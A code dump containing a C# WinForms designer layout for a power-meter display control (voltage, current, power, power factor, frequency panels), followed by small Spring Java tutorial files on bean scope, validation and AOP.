this.whREdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.whREdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.whREdit.ForeColor = System.Drawing.Color.Lime;
this.whREdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.whREdit.InnerColor2 = System.Drawing.Color.White;
this.whREdit.Location = new System.Drawing.Point(6, 346);
this.whREdit.Name = "whREdit";
this.whREdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.whREdit.OuterColor2 = System.Drawing.Color.White;
this.whREdit.Size = new System.Drawing.Size(90, 48);
this.whREdit.Spacing = 0;
this.whREdit.TabIndex = 41;
this.whREdit.Text = "0.0";
this.whREdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.whREdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// whSEdit
//
this.whSEdit.BackColor = System.Drawing.Color.Black;
this.whSEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.whSEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.whSEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.whSEdit.ForeColor = System.Drawing.Color.Lime;
this.whSEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.whSEdit.InnerColor2 = System.Drawing.Color.White;
this.whSEdit.Location = new System.Drawing.Point(100, 346);
this.whSEdit.Name = "whSEdit";
this.whSEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.whSEdit.OuterColor2 = System.Drawing.Color.White;
this.whSEdit.Size = new System.Drawing.Size(90, 48);
this.whSEdit.Spacing = 0;
this.whSEdit.TabIndex = 40;
this.whSEdit.Text = "0.0";
this.whSEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.whSEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// whTEdit
//
this.whTEdit.BackColor = System.Drawing.Color.Black;
this.whTEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.whTEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.whTEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.whTEdit.ForeColor = System.Drawing.Color.Lime;
this.whTEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.whTEdit.InnerColor2 = System.Drawing.Color.White;
this.whTEdit.Location = new System.Drawing.Point(194, 346);
this.whTEdit.Name = "whTEdit";
this.whTEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.whTEdit.OuterColor2 = System.Drawing.Color.White;
this.whTEdit.Size = new System.Drawing.Size(90, 48);
this.whTEdit.Spacing = 0;
this.whTEdit.TabIndex = 39;
this.whTEdit.Text = "0.0";
this.whTEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.whTEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// whSigmaEdit
//
this.whSigmaEdit.BackColor = System.Drawing.Color.Black;
this.whSigmaEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.whSigmaEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.whSigmaEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.whSigmaEdit.ForeColor = System.Drawing.Color.Lime;
this.whSigmaEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.whSigmaEdit.InnerColor2 = System.Drawing.Color.White;
this.whSigmaEdit.Location = new System.Drawing.Point(288, 346);
this.whSigmaEdit.Name = "whSigmaEdit";
this.whSigmaEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.whSigmaEdit.OuterColor2 = System.Drawing.Color.White;
this.whSigmaEdit.Size = new System.Drawing.Size(90, 48);
this.whSigmaEdit.Spacing = 0;
this.whSigmaEdit.TabIndex = 38;
this.whSigmaEdit.Text = "0.0";
this.whSigmaEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.whSigmaEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel31
//
this.ulPanel31.BackColor = System.Drawing.Color.Black;
this.ulPanel31.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel31.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel31.Controls.Add(this.ulPanel43);
this.ulPanel31.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel31.ForeColor = System.Drawing.SystemColors.ControlText;
this.ulPanel31.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel31.InnerColor2 = System.Drawing.Color.White;
this.ulPanel31.Location = new System.Drawing.Point(382, 346);
this.ulPanel31.Name = "ulPanel31";
this.ulPanel31.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel31.OuterColor2 = System.Drawing.Color.White;
this.ulPanel31.Size = new System.Drawing.Size(61, 48);
this.ulPanel31.Spacing = 0;
this.ulPanel31.TabIndex = 37;
this.ulPanel31.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel31.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel43
//
this.ulPanel43.BackColor = System.Drawing.Color.Gray;
this.ulPanel43.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel43.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel43.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel43.ForeColor = System.Drawing.Color.Yellow;
this.ulPanel43.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel43.InnerColor2 = System.Drawing.Color.White;
this.ulPanel43.Location = new System.Drawing.Point(2, 2);
this.ulPanel43.Name = "ulPanel43";
this.ulPanel43.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel43.OuterColor2 = System.Drawing.Color.White;
this.ulPanel43.Size = new System.Drawing.Size(57, 44);
this.ulPanel43.Spacing = 0;
this.ulPanel43.TabIndex = 48;
this.ulPanel43.Text = "Wh";
this.ulPanel43.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel43.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// pfREdit
//
this.pfREdit.BackColor = System.Drawing.Color.Black;
this.pfREdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.pfREdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.pfREdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pfREdit.ForeColor = System.Drawing.Color.Lime;
this.pfREdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pfREdit.InnerColor2 = System.Drawing.Color.White;
this.pfREdit.Location = new System.Drawing.Point(6, 294);
this.pfREdit.Name = "pfREdit";
this.pfREdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pfREdit.OuterColor2 = System.Drawing.Color.White;
this.pfREdit.Size = new System.Drawing.Size(90, 48);
this.pfREdit.Spacing = 0;
this.pfREdit.TabIndex = 36;
this.pfREdit.Text = "0.0";
this.pfREdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.pfREdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// pfSEdit
//
this.pfSEdit.BackColor = System.Drawing.Color.Black;
this.pfSEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.pfSEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.pfSEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pfSEdit.ForeColor = System.Drawing.Color.Lime;
this.pfSEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pfSEdit.InnerColor2 = System.Drawing.Color.White;
this.pfSEdit.Location = new System.Drawing.Point(100, 294);
this.pfSEdit.Name = "pfSEdit";
this.pfSEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pfSEdit.OuterColor2 = System.Drawing.Color.White;
this.pfSEdit.Size = new System.Drawing.Size(90, 48);
this.pfSEdit.Spacing = 0;
this.pfSEdit.TabIndex = 35;
this.pfSEdit.Text = "0.0";
this.pfSEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.pfSEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// pfTEdit
//
this.pfTEdit.BackColor = System.Drawing.Color.Black;
this.pfTEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.pfTEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.pfTEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pfTEdit.ForeColor = System.Drawing.Color.Lime;
this.pfTEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pfTEdit.InnerColor2 = System.Drawing.Color.White;
this.pfTEdit.Location = new System.Drawing.Point(194, 294);
this.pfTEdit.Name = "pfTEdit";
this.pfTEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pfTEdit.OuterColor2 = System.Drawing.Color.White;
this.pfTEdit.Size = new System.Drawing.Size(90, 48);
this.pfTEdit.Spacing = 0;
this.pfTEdit.TabIndex = 34;
this.pfTEdit.Text = "0.0";
this.pfTEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.pfTEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// pfSigmaEdit
//
this.pfSigmaEdit.BackColor = System.Drawing.Color.Black;
this.pfSigmaEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.pfSigmaEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.pfSigmaEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pfSigmaEdit.ForeColor = System.Drawing.Color.Lime;
this.pfSigmaEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pfSigmaEdit.InnerColor2 = System.Drawing.Color.White;
this.pfSigmaEdit.Location = new System.Drawing.Point(288, 294);
this.pfSigmaEdit.Name = "pfSigmaEdit";
this.pfSigmaEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pfSigmaEdit.OuterColor2 = System.Drawing.Color.White;
this.pfSigmaEdit.Size = new System.Drawing.Size(90, 48);
this.pfSigmaEdit.Spacing = 0;
this.pfSigmaEdit.TabIndex = 33;
this.pfSigmaEdit.Text = "0.0";
this.pfSigmaEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.pfSigmaEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel36
//
this.ulPanel36.BackColor = System.Drawing.Color.Black;
this.ulPanel36.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel36.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel36.Controls.Add(this.ulPanel42);
this.ulPanel36.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel36.ForeColor = System.Drawing.SystemColors.ControlText;
this.ulPanel36.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel36.InnerColor2 = System.Drawing.Color.White;
this.ulPanel36.Location = new System.Drawing.Point(382, 294);
this.ulPanel36.Name = "ulPanel36";
this.ulPanel36.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel36.OuterColor2 = System.Drawing.Color.White;
this.ulPanel36.Size = new System.Drawing.Size(61, 48);
this.ulPanel36.Spacing = 0;
this.ulPanel36.TabIndex = 32;
this.ulPanel36.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel36.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel42
//
this.ulPanel42.BackColor = System.Drawing.Color.Gray;
this.ulPanel42.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel42.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel42.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel42.ForeColor = System.Drawing.Color.Yellow;
this.ulPanel42.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel42.InnerColor2 = System.Drawing.Color.White;
this.ulPanel42.Location = new System.Drawing.Point(2, 2);
this.ulPanel42.Name = "ulPanel42";
this.ulPanel42.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel42.OuterColor2 = System.Drawing.Color.White;
this.ulPanel42.Size = new System.Drawing.Size(57, 44);
this.ulPanel42.Spacing = 0;
this.ulPanel42.TabIndex = 48;
this.ulPanel42.Text = "PF";
this.ulPanel42.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel42.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// hzREdit
//
this.hzREdit.BackColor = System.Drawing.Color.Black;
this.hzREdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.hzREdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.hzREdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.hzREdit.ForeColor = System.Drawing.Color.Lime;
this.hzREdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.hzREdit.InnerColor2 = System.Drawing.Color.White;
this.hzREdit.Location = new System.Drawing.Point(6, 242);
this.hzREdit.Name = "hzREdit";
this.hzREdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.hzREdit.OuterColor2 = System.Drawing.Color.White;
this.hzREdit.Size = new System.Drawing.Size(90, 48);
this.hzREdit.Spacing = 0;
this.hzREdit.TabIndex = 31;
this.hzREdit.Text = "0.0";
this.hzREdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.hzREdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// hzSEdit
//
this.hzSEdit.BackColor = System.Drawing.Color.Black;
this.hzSEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.hzSEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.hzSEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.hzSEdit.ForeColor = System.Drawing.Color.Lime;
this.hzSEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.hzSEdit.InnerColor2 = System.Drawing.Color.White;
this.hzSEdit.Location = new System.Drawing.Point(100, 242);
this.hzSEdit.Name = "hzSEdit";
this.hzSEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.hzSEdit.OuterColor2 = System.Drawing.Color.White;
this.hzSEdit.Size = new System.Drawing.Size(90, 48);
this.hzSEdit.Spacing = 0;
this.hzSEdit.TabIndex = 30;
this.hzSEdit.Text = "0.0";
this.hzSEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.hzSEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// hzTEdit
//
this.hzTEdit.BackColor = System.Drawing.Color.Black;
this.hzTEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.hzTEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.hzTEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.hzTEdit.ForeColor = System.Drawing.Color.Lime;
this.hzTEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.hzTEdit.InnerColor2 = System.Drawing.Color.White;
this.hzTEdit.Location = new System.Drawing.Point(194, 242);
this.hzTEdit.Name = "hzTEdit";
this.hzTEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.hzTEdit.OuterColor2 = System.Drawing.Color.White;
this.hzTEdit.Size = new System.Drawing.Size(90, 48);
this.hzTEdit.Spacing = 0;
this.hzTEdit.TabIndex = 29;
this.hzTEdit.Text = "0.0";
this.hzTEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.hzTEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// hzSigmaEdit
//
this.hzSigmaEdit.BackColor = System.Drawing.Color.Black;
this.hzSigmaEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.hzSigmaEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.hzSigmaEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.hzSigmaEdit.ForeColor = System.Drawing.Color.Lime;
this.hzSigmaEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.hzSigmaEdit.InnerColor2 = System.Drawing.Color.White;
this.hzSigmaEdit.Location = new System.Drawing.Point(288, 242);
this.hzSigmaEdit.Name = "hzSigmaEdit";
this.hzSigmaEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.hzSigmaEdit.OuterColor2 = System.Drawing.Color.White;
this.hzSigmaEdit.Size = new System.Drawing.Size(90, 48);
this.hzSigmaEdit.Spacing = 0;
this.hzSigmaEdit.TabIndex = 28;
this.hzSigmaEdit.Text = "0.0";
this.hzSigmaEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.hzSigmaEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel41
//
this.ulPanel41.BackColor = System.Drawing.Color.Black;
this.ulPanel41.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel41.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel41.Controls.Add(this.ulPanel25);
this.ulPanel41.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel41.ForeColor = System.Drawing.SystemColors.ControlText;
this.ulPanel41.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel41.InnerColor2 = System.Drawing.Color.White;
this.ulPanel41.Location = new System.Drawing.Point(382, 242);
this.ulPanel41.Name = "ulPanel41";
this.ulPanel41.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel41.OuterColor2 = System.Drawing.Color.White;
this.ulPanel41.Size = new System.Drawing.Size(61, 48);
this.ulPanel41.Spacing = 0;
this.ulPanel41.TabIndex = 27;
this.ulPanel41.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel41.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel25
//
this.ulPanel25.BackColor = System.Drawing.Color.Gray;
this.ulPanel25.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel25.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel25.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel25.ForeColor = System.Drawing.Color.Yellow;
this.ulPanel25.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel25.InnerColor2 = System.Drawing.Color.White;
this.ulPanel25.Location = new System.Drawing.Point(2, 2);
this.ulPanel25.Name = "ulPanel25";
this.ulPanel25.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel25.OuterColor2 = System.Drawing.Color.White;
this.ulPanel25.Size = new System.Drawing.Size(57, 44);
this.ulPanel25.Spacing = 0;
this.ulPanel25.TabIndex = 48;
this.ulPanel25.Text = "Hz";
this.ulPanel25.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel25.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel45
//
this.ulPanel45.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel45.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel45.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel45.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel45.ForeColor = System.Drawing.Color.White;
this.ulPanel45.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel45.InnerColor2 = System.Drawing.Color.White;
this.ulPanel45.Location = new System.Drawing.Point(382, 40);
this.ulPanel45.Name = "ulPanel45";
this.ulPanel45.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel45.OuterColor2 = System.Drawing.Color.White;
this.ulPanel45.Size = new System.Drawing.Size(61, 42);
this.ulPanel45.Spacing = 0;
this.ulPanel45.TabIndex = 47;
this.ulPanel45.Text = "Unit";
this.ulPanel45.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel45.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// CtrlPowerMeterView
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlPowerMeterView";
this.Size = new System.Drawing.Size(449, 454);
this.bgPanel.ResumeLayout(false);
this.ulPanel11.ResumeLayout(false);
this.ulPanel16.ResumeLayout(false);
this.ulPanel21.ResumeLayout(false);
this.ulPanel26.ResumeLayout(false);
this.ulPanel31.ResumeLayout(false);
this.ulPanel36.ResumeLayout(false);
this.ulPanel41.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private Ulee.Controls.UlPanel titleEdit;
private Ulee.Controls.UlPanel ulPanel45;
private Ulee.Controls.UlPanel integTimeEdit;
private Ulee.Controls.UlPanel ulPanel26;
private Ulee.Controls.UlPanel ulPanel44;
private Ulee.Controls.UlPanel whREdit;
private Ulee.Controls.UlPanel whSEdit;
private Ulee.Controls.UlPanel whTEdit;
private Ulee.Controls.UlPanel whSigmaEdit;
private Ulee.Controls.UlPanel ulPanel31;
private Ulee.Controls.UlPanel ulPanel43;
private Ulee.Controls.UlPanel pfREdit;
private Ulee.Controls.UlPanel pfSEdit;
private Ulee.Controls.UlPanel pfTEdit;
private Ulee.Controls.UlPanel pfSigmaEdit;
private Ulee.Controls.UlPanel ulPanel36;
private Ulee.Controls.UlPanel ulPanel42;
private Ulee.Controls.UlPanel hzREdit;
private Ulee.Controls.UlPanel hzSEdit;
private Ulee.Controls.UlPanel hzTEdit;
private Ulee.Controls.UlPanel hzSigmaEdit;
private Ulee.Controls.UlPanel ulPanel41;
private Ulee.Controls.UlPanel ulPanel25;
private Ulee.Controls.UlPanel powerREdit;
private Ulee.Controls.UlPanel powerSEdit;
private Ulee.Controls.UlPanel powerTEdit;
private Ulee.Controls.UlPanel powerSigmaEdit;
private Ulee.Controls.UlPanel ulPanel16;
private Ulee.Controls.UlPanel ulPanel24;
private Ulee.Controls.UlPanel currentREdit;
private Ulee.Controls.UlPanel currentSEdit;
private Ulee.Controls.UlPanel currentTEdit;
private Ulee.Controls.UlPanel currentSigmaEdit;
private Ulee.Controls.UlPanel ulPanel21;
private Ulee.Controls.UlPanel ulPanel23;
private Ulee.Controls.UlPanel voltREdit;
private Ulee.Controls.UlPanel voltSEdit;
private Ulee.Controls.UlPanel voltTEdit;
private Ulee.Controls.UlPanel voltSigmaEdit;
private Ulee.Controls.UlPanel ulPanel11;
private Ulee.Controls.UlPanel ulPanel1;
private Ulee.Controls.UlPanel ulPanel4;
private Ulee.Controls.UlPanel ulPanel5;
private Ulee.Controls.UlPanel ulPanel3;
private Ulee.Controls.UlPanel ulPanel2;
}
}
| c4c3dc8dcc4b1fc4aced75557f8f0a2c5e9213a2 | [
"C#",
"SQL",
"INI"
] | 64 | C# | 708ninja/Calorimeter | d9583642ec8ddc629f36ddc29f5ac79f18d0a0f3 | bb10f2cddbeff6a236f269b82ec925d784b68215 | |
refs/heads/master | <repo_name>byeungoo/spring-main-technology<file_sep>/spring-main-tech02/src/main/java/com/hoon/scope/Proto.java
package com.hoon.scope;
import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.stereotype.Component;
@Component
@Scope(value = "prototype", proxyMode = ScopedProxyMode.TARGET_CLASS) //빈을 받아올때 마다 새로운 인스턴스. 클래스 기반의 프록시로 감싸라. 감싸는 프록시 빈을 사용하게함
//매번 바꿀 수 있도록 프록시 라이브러리로 감싸줌
public class Proto {
}
<file_sep>/spring-main-tech04/src/main/java/com/hoon/validation/NewEventRunner.java
package com.hoon.validation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.ApplicationArguments;
import org.springframework.boot.ApplicationRunner;
import org.springframework.stereotype.Component;
import org.springframework.validation.BeanPropertyBindingResult;
import org.springframework.validation.Errors;
import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean;
import java.util.Arrays;
@Component
public class NewEventRunner implements ApplicationRunner {
@Autowired
LocalValidatorFactoryBean validatorFactoryBean;
@Override
public void run(ApplicationArguments args) throws Exception {
System.out.println(validatorFactoryBean.getClass());
Event event = new Event();
event.setLimit(-1);
event.setEmail("testsdfd");
Errors errors = new BeanPropertyBindingResult(event, "event"); //Errors 타입의 구현체는 볼 일이 별로없음. spring mvc에서 자동으로 생성해서 제공
validatorFactoryBean.validate(event, errors);
System.out.println(errors.hasErrors());
errors.getAllErrors().forEach(e -> {
System.out.println("==== error code ====");
Arrays.stream(e.getCodes()).forEach(System.out::println);
System.out.println(e.getDefaultMessage());
});
}
}
<file_sep>/spring-main-tech02/src/main/resources/application.properties
app.name=spring
app.test=test<file_sep>/spring-main-tech-06/src/main/java/com/hoon/aop/ProxySimpleEventService.java
package com.hoon.aop;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Primary;
import org.springframework.stereotype.Service;
